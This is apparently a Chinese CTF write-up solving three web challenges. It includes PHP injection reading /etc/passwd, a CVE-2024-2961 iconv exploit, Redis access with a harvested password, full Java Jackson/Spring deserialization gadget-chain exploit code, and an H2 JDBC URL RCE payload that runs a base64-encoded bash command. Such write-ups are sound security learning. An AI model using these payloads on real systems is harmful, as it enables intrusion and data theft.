目錄
phpms
再短一點點?
澤西島
phpms
dirsearch請求太快會報429,要設置一手--delay,掃出來.git
跑一下githacker
git stash list
git stash show -p
?注釋的繞過參考:從國賽想到的一些php繞過注釋符trick
發現很多函數都被disable了
?這里用php原生類先讀/etc/passwd
/index.php?shell=?><?php $context = new SplFileObject('/etc/passwd');
foreach($context as $f){echo($f);
}
看到有redis,后續存在利用
?接下來用SplFileObject原生類配合CNEXT (CVE-2024-2961)進行命令執行
用這個改進過的腳本:https://github.com/kezibei/php-filter-iconv
先讀maps
/index.php?shell=?><?php
$context = new SplFileObject('file:///proc/self/maps');
foreach($context as $f){echo($f);
}
?再讀/lib/x86_64-linux-gnu/libc-2.31.so
/index.php?shell=?><?php
$context = new SplFileObject('php://filter/convert.base64-encode/resource=/lib/x86_64-linux-gnu/libc-2.31.so');
foreach($context as $f){echo($f);
}
?腳本生成payload
?執行后502,無回顯,可將執行結果寫入文件再讀取
發現flag不在文件中,在redis里
去讀/etc/redis.conf,讀到密碼為admin123
將命令改為
echo "auth admin123\nget flag" | redis-cli > /tmp/res.txt
再短一點點?
先來看黑名單過濾
第一個過濾com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,即getter的sink
第二個過濾javax.management.BadAttributeValueExpException,即直接觸發toString的手段
第三個過濾了aop相關類,但org.springframework.aop.target.HotSwappableTargetSource沒有被ban
又注意到題目庫里有Jackson,可以由toString觸發POJONODE來調getter,這里用SignedObject打二次反序列化即可
參考文章:Jackson原生反序列化 - Infernity's Blog
至于toString的觸發,可以先試試EventListenerList這條鏈
https://github.com/datouo/CTF-Java-Gadget/blob/master/src/main/java/com/xiinnn/readobject2tostring/EventListenerListReadObject2ToString.java
?
鏈子搓完了,接下來看題目要求(
/deser路由,要求payload長度≤1282,經過InflaterInputStream解碼,然后傳到MyObjectInputStream里反序列化
反序列化完后執行命令,?刪除/a文件,接著再訪問/flag路由獲取flag
?跑通了poc
package GFCTF;import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.security.*;
import java.util.Base64;
import java.util.Vector;public class exp {public static void main(String[] args) throws Exception {overrideJackson();byte[] bytes = getshortclass("calc");TemplatesImpl templates = (TemplatesImpl) getTemplates(bytes);Object obj = getPOJONodeStableProxy(templates);POJONode pojoNode = new POJONode(obj);EventListenerList list = new EventListenerList();UndoManager manager = new UndoManager();Vector vector = (Vector) getFieldValue(manager, "edits");vector.add(pojoNode);setFieldValue(list, "listenerList", new Object[]{InternalError.class, manager});//二次反序列化SignedObject signedObject = second_serialize(list);POJONode pojoNode2 = new POJONode(signedObject);EventListenerList list2 = new EventListenerList();UndoManager manager2 = new UndoManager();Vector vector2 = (Vector) getFieldValue(manager2, "edits");vector2.add(pojoNode2);setFieldValue(list2, "listenerList", new Object[]{InternalError.class, manager2});String a = serialize(list2);System.out.println(a);System.out.println(a.length());unserialize(a);}public static Object getFieldValue(Object obj, String fieldName) throws Exception{Field field = null;Class c = obj.getClass();for (int i = 0; i < 5; i++) {try {field = c.getDeclaredField(fieldName);} catch (NoSuchFieldException e){c = c.getSuperclass();}}field.setAccessible(true);return field.get(obj);}public static void setFieldValue(Object obj, String field, Object val) throws Exception{Field dField = obj.getClass().getDeclaredField(field);dField.setAccessible(true);dField.set(obj, val);}public static SignedObject second_serialize(Object o) throws NoSuchAlgorithmException, IOException, SignatureException, InvalidKeyException {KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");kpg.initialize(1024);KeyPair kp = kpg.generateKeyPair();SignedObject signedObject = new SignedObject((Serializable) o, kp.getPrivate(), Signature.getInstance("DSA"));return signedObject;}//獲取進行了動態代理的templatesImpl,保證觸發getOutputpublic static Object getPOJONodeStableProxy(Object templatesImpl) throws Exception{Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);cons.setAccessible(true);AdvisedSupport advisedSupport = new AdvisedSupport();advisedSupport.setTarget(templatesImpl);InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);return proxyObj;}//重寫jacksonpublic static void overrideJackson() throws NotFoundException, CannotCompileException, IOException {CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");ctClass.removeMethod(writeReplace);ctClass.toClass();}public static void setValue(Object obj, String name, Object value) throws Exception{Field field = obj.getClass().getDeclaredField(name);field.setAccessible(true);field.set(obj, value);}public static Object getTemplates(byte[] bytes) throws Exception {Templates templates = new TemplatesImpl();setValue(templates, "_bytecodes", new byte[][]{bytes});setValue(templates, "_name", "Infernity");setValue(templates, "_tfactory", new TransformerFactoryImpl());return templates;}//提供需要序列化的類,返回base64后的字節碼public static String serialize(Object obj) throws IOException {ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);objectOutputStream.writeObject(obj);String poc = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());return poc;}//提供base64后的字節碼,進行反序列化public static void unserialize(String exp) throws IOException,ClassNotFoundException{byte[] bytes = Base64.getDecoder().decode(exp);ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);objectInputStream.readObject();}//一個短的命令執行class,用javassist寫的public static byte[] getshortclass(String cmd) throws CannotCompileException, IOException, NotFoundException {ClassPool pool = ClassPool.getDefault();CtClass clazz = pool.makeClass("a");CtClass superClass = pool.get(AbstractTranslet.class.getName());clazz.setSuperclass(superClass);CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");clazz.addConstructor(constructor);byte[] bytes = clazz.toBytecode();return bytes;}
}
但長度太長,需要削減不必要部分
首先置空TP的不必要字段
刪掉jackson鏈子穩定性部分?
?跑完還是離1282差一點🤔
于是換toString的入口
HashMap#readObject -> HotSwappableTargetSource#equals -> XString#equals -> toString
package GFCTF;import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.*;
import org.springframework.aop.target.HotSwappableTargetSource;import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.security.*;
import java.util.Base64;
import java.util.zip.Deflater;
import java.util.zip.DeflaterOutputStream;
import java.util.zip.InflaterInputStream;
import java.util.HashMap;public class exp {public static void main(String[] args) throws Exception {overrideJackson();byte[] bytes = getshortclass("calc");TemplatesImpl templates = (TemplatesImpl) getTemplates(bytes);POJONode pojoNode = new POJONode(templates);HotSwappableTargetSource h11 = new HotSwappableTargetSource(pojoNode);HotSwappableTargetSource h21 = new HotSwappableTargetSource(new XString(null));HashMap<Object, Object> objectObjectHashMap = makeMap(h11, h21);//二次反序列化SignedObject signedObject = second_serialize(objectObjectHashMap);POJONode pojoNode2 = new POJONode(signedObject);HotSwappableTargetSource h12 = new HotSwappableTargetSource(pojoNode2);HotSwappableTargetSource h22 = new HotSwappableTargetSource(new XString(null));HashMap<Object, Object> objectObjectHashMap2 = makeMap(h12, h22);String a = serialize(objectObjectHashMap2);System.out.println(a);System.out.println(a.length());unserialize(a);}public static Object getFieldValue(Object obj, String fieldName) throws Exception{Field field = null;Class c = obj.getClass();for (int i = 0; i < 5; i++) {try {field = c.getDeclaredField(fieldName);} catch (NoSuchFieldException e){c = c.getSuperclass();}}field.setAccessible(true);return field.get(obj);}public static void setFieldValue(Object obj, String field, Object val) throws Exception{Field dField = obj.getClass().getDeclaredField(field);dField.setAccessible(true);dField.set(obj, val);}public static SignedObject second_serialize(Object o) throws NoSuchAlgorithmException, IOException, SignatureException, InvalidKeyException {KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");kpg.initialize(1024);KeyPair kp = kpg.generateKeyPair();SignedObject signedObject = new SignedObject((Serializable) o, kp.getPrivate(), Signature.getInstance("DSA"));return signedObject;}//重寫jacksonpublic static void overrideJackson() throws NotFoundException, CannotCompileException, IOException {CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");ctClass.removeMethod(writeReplace);ctClass.toClass();}public static void setValue(Object obj, String name, Object value) throws Exception{Field field = obj.getClass().getDeclaredField(name);field.setAccessible(true);field.set(obj, value);}public static Object getTemplates(byte[] bytes) throws Exception {Templates templates = new TemplatesImpl();setValue(templates, "_bytecodes", new byte[][]{bytes});setValue(templates, "_name", "");setValue(templates, "_tfactory", null);return templates;}public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {HashMap<Object, Object> s = new HashMap<>();setFieldValue(s, "size", 2);Class<?> nodeC;try {nodeC = Class.forName("java.util.HashMap$Node");}catch ( ClassNotFoundException e ) {nodeC = Class.forName("java.util.HashMap$Entry");}Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);nodeCons.setAccessible(true);Object tbl = Array.newInstance(nodeC, 2);Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));setFieldValue(s, "table", tbl);return s;}//提供需要序列化的類,返回base64后的字節碼public static String serialize(Object obj) throws IOException {ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();// 使用 Deflater 設置為最高壓縮率Deflater deflater = new Deflater(Deflater.BEST_COMPRESSION);DeflaterOutputStream deflaterOutputStream = new DeflaterOutputStream(byteArrayOutputStream, deflater);ObjectOutputStream objectOutputStream = new ObjectOutputStream(deflaterOutputStream);objectOutputStream.writeObject(obj);// 關閉流objectOutputStream.flush();deflaterOutputStream.finish();deflaterOutputStream.close();// 轉換為 Base64 字符串String poc = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());return poc;}//提供base64后的字節碼,進行反序列化public static void unserialize(String exp) throws IOException,ClassNotFoundException{new MyObjectInputStream(new InflaterInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(exp)))).readObject();}//一個短的命令執行class,用javassist寫的public static byte[] getshortclass(String cmd) throws CannotCompileException, IOException, NotFoundException {ClassPool pool = ClassPool.getDefault();CtClass clazz = pool.makeClass("a");CtClass superClass = pool.get(AbstractTranslet.class.getName());clazz.setSuperclass(superClass);CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");clazz.addConstructor(constructor);byte[] bytes = clazz.toBytecode();return bytes;}
}
更接近了一點🤔?
?短不了一點了,下一題
澤西島
這題是個不出網H2 RCE
扒一扒h2database遠程代碼執行 | 離別歌
首先是鑒權的繞過
用/api/testConnect;.繞過
接著打H2 RCE
cat /flag > $CATALINA_HOME/webapps/ROOT/404.jsp
jdbcUrl=jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INI\T=CREATE ALIAS EXEC AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\;}'\;CALL EXEC ('bash -c {echo,Y2F0IC9mbGFnID4gJENBVEFMSU5BX0hPTUUvd2ViYXBwcy9ST09ULzQwNC5qc3A\=}|{base64,-d}|{bash,-i}')\;;AUTHZPWD=\
再隨便訪問個不存在的路由,帶出flag?